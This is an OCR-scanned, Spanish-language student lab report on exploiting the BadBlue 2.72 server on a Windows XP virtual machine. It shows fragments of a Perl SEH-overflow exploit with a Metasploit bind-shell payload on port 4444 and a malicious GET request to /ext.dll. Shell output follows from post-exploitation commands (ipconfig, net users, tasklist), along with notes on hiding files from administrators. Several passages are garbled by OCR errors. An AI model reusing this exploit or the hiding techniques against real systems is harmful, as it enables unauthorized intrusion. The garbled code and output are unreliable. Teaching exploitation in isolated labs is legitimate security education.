ETag: "3f45655a8f8 :

Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1035

Connection: close

Cache-control: public

Ilustracion 90 Encabezados HTTP

Al examinar su script de explotacion, se inici6 con el comando head -20
badblue.272.seh.pl. La primera parte del cddigo mostrd la carga util que usted selecciond:
una metasploit win32_bind configurada para abrir una shell de escucha en el puerto
LPORT=4444 en el sistema Windows XP. Posteriormente, usted construy6 la peticion
maliciosa $exploit dirigida a la funcionalidad PassThru de /ext.dll. Para lograr el
desbordamiento de bufer, se utiliz6 la técnica de Sobreescritura SEH (Manejador de
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Excepciones Estructurado) con los valores $seh y $jmp para redirigir la ejecucion hacia la
$shellcode. Después de enviar la peticion, usted finalizé el proceso al ejecutar el comando
system(''telnet Shost 4444'); para establecer la conexidon remota y obtener la shell de
comandos.

#! fusr/b
# badblue

print "Usage: badblue eh.pl <victim> <por
exit;

_bind - EXITFUNC=seh LPORT=4444 S

llustracion 91L as primeras 20 lineas
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$victim = I0::Socket :: INET—new(Proto= "tcp',
PeerAddr= $ARGV[0],
PeerPort=$ARGV[1])
or die "can't connect to $ARGV[@] on port $ARGV[1]";

= "\x43"x8;
= "\x43"x59;

$exploit = "GET /ext.dll?mfcisapicommand=PassThru&". $pad® . $shellcode . $pad . $jmp . $seh
ad2. "HTTP/1.0"."\r\n\r\n";

print $victim $exploit;

print + Malicious GET request sent

sleep(1);
print "Done.\n";
close($victim);

= $ARGV[O];

+ Connect on port 4444 of $host ...\n";
sleep(2);

system("telnet $host 4444");

exit;

Illustracion 92 Las primeras 20 lineas

La ejecucion del exploit ./badblue.272.seh.pl 192.168.23.5 80 culmina con el mensaje
Connected to 192.168.23.5, lo que confirma que el buffer overflow se dispard con éxito, la
shellcode se ejecuto y abrid el puerto 4444, permitiendo la conexion a una shell de comando
de Windows XP
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5:["':

+ Malicious GET request sent ...

Done.

+ Connect on port 4444 of 192.168.23.5
Trying 192.168.23.5...
Connected to 192.168.23.5.

Escape character is '
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>}}

Illustracion 93 Ejecucion de un script o exploit

Post-Explotacion

ipconfig: Muestra la configuracion de red del sistema comprometido

C:\Archivos de programa‘\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de ¢rea local

Sufijo de conexi#n espec#fica DNS : bbrouter
Direccien IP.

Me#scara de subred z

Puerta de enlace predeterminada

Adaptador Ethernet Conexi#n de #rea local 2

Sufijo de conexi®n especefica DNS
Direccien IP.

Me#scara de subred 5 5 & e
Puerta de enlace predeterminada

C:\Archivos de programa‘\BadBlue\PE>]}
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El comando dir ejecutado desde la shell remota muestra los directorios principales
del sistema, incluyendo BadBlue, Internet Explorer, Microsoft frontpage y Windows

Media Player, lo que indica que el proceso ha cambiado al directorio C:\Archivos de
programa y estd explorando los archivos del sistema objetivo

“VArchivos de programa>dir

dir
El volumen de la

unidad C no tiene
El nemero de serie del volumen e

Directorio de C:\Archivos de programa

a7
1@
16

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

@ archivos

Ay

dirs

C:\Archivos de pragramabl

Adobe

Archivos comunes
BadBlue

Camouflage

ComPlus Applications
Internet Explorer
Messenger

microsoft frontpage
Movie Maker

MSN

MSN Gaming Zone
NetMeeting

Online Services
Oracle

Outlook Express
Servicios en lenea
VideoLAN

Windows Media Player
Windows NT

Ilustracion 94 El comando de Dir
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Mombre de host:
Nombre del ema operativo: | WS Fi onal
5 tema operativo: B Compilacien
; i : +rporatlon
Configuraci sistema operativo: S #n de trabajo independiente
Tipo de compilacie#n del sistema operativo: Uniprocessor Free
Propiedad de:

Fe

Tiempo de
Fabricante del
Modelo el s
Tipo de sistema:
Procesado

ntid:
Memoria f
3 '[:lI'II:I‘CI- mX
3 d1 poﬂlble

\daptador de
Nombre de con

: Adaptador de }
Nombre de conexien: Conexien de erea local

Ilustracion 95 Systeminfo
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net users: El comando net users lista las cuentas de usuario, identificando a
Administrador y wayner antonio moya , informacién clave para el siguiente paso en la
post-explotacion

C:\Archivos de programa>net users
net users

Cuentas de usuario de \\WAY
Administrador Asistente de ayuda Invitado

SUPPORT_388945a0 wayner_antonio_moya_
Se ha completado el comando correctamente.

C:\Archivos de programa>]]

Illustracion 96 Gestionar cuentas de usuario
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tasklist: Muestra la lista de procesos en ejecucion, incluyendo el proceso
badblue.exe.

C:\Archivos de programa>tasklist
tasklist

Nombre de imagen Nombre de sesien Nem. de 0 de memor

Console
Console
Console
Console

System Idle Process
System

SMss.exe

CSISS.exe
winlogon.exe Console
services.exe Console
lsass.exe 844 Console
VBoxService.exe 1008 Console
svchost.exe 1064 Console
svchost.exe 1168 Console
svchost.exe 1412 Console
svchost.exe 1456 Console
svchost.exe 152@ Console
explorer.exe 2008 Console
spoolsv.exe 208 Console
VBoxTray.exe 444 Console
ctfmon.exe 452 Console
alg.exe 1660 Console
wscntfy.exe 1236 Console
wuauclt.exe 1092 Console
cmd.exe 3040 Console
badblue.exe 2504 Console
iexplore.exe 4092 Console
iexplore.exe 2352 Console
cmd.exe 2180 Console
wmiprvse.exe 3032 Console
tasklist.exe 984 Console

) ] Lad
) 00 Oh o~
NN PSS

oo
G
W £~ R LN

W W o W W

LIS N S T S B S |

~ o

SN S S S Nl S S S N N S S N S N N SN ]
- =
- =2

=~

C:\Archivos de programa>]j

llustracion 97 Lista de procesos
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15 PLANTEAMIENTO DEL PROBLEMA

En los entornos informaticos antiguos como Windows XP, existen multiples
vulnerabilidades que pueden ser explotadas por atacantes. El objetivo del experimento fue
identificar como un atacante puede ocultar archivos y utilizar vulnerabilidades del servicio
BadBlue para obtener acceso no autorizado al sistema.
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16 SOLUCIONES

Primero, se cred una carpeta llamada 'Clase 2 oct 2025' dentro del sistema Windows XP,
donde se almacenaron archivos y programas necesarios para la practica. Luego, se
compartieron los archivos entre las maquinas virtuales configuradas en VirtualBox,
permitiendo la comunicacion entre el host y el sistema victima.

Posteriormente, desde Kali Linux se inici6 la busqueda de servicios activos mediante
escaneo de puertos. Se identificd que el servicio BadBlue estaba ejecutandose en el puerto
80, lo que permitio ejecutar el exploit correspondiente dentro de Metasploit Framework.
Durante la ejecucion, se logrd establecer una sesion remota en el sistema Windows XP,
comprobando el éxito de la explotacion.

Ademas, se practicaron técnicas de camuflaje de archivos, renombrando extensiones,
modificando rutas y ocultando procesos dentro del sistema para evitar deteccion visual o del
administrador del sistema.
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17 ERRORES DETECTADOS

Luego vas a seleccionar en una carpeta que dice ‘Clase 2 Oct 2025°, les abrira
completamente ahi en un archivo que trae que tiene unos programas Durante la practica se
detectaron algunos errores comunes, como:

» Problemas de conexion entre las maquinas virtuales por mala configuraciéon de red.
» Errores en la carga del modulo de Metasploit por versiones incompatibles.
» Dificultades en la deteccion inicial del servicio ‘BadBlue’.

Estos errores fueron corregidos revisando las configuraciones y asegurando que los
servicios estuvieran activos.
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18 RECOMENDACION

Se recomienda realizar las practicas de explotacion inicamente en entornos controlados
o virtualizados. También es importante verificar que los servicios vulnerables no estén
expuestos a internet. Ademads, se aconseja mantener siempre actualizados los sistemas
operativos y deshabilitar servicios innecesarios.
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19 CONCLUSION

A través de la practica se logré comprender coémo las vulnerabilidades pueden ser
explotadas en sistemas antiguos y cémo el camuflaje permite a un atacante ocultar sus
acciones. La experiencia permitié reforzar conocimientos en auditoria de redes, seguridad
ofensiva y medidas preventivas frente a ataques informaticos.
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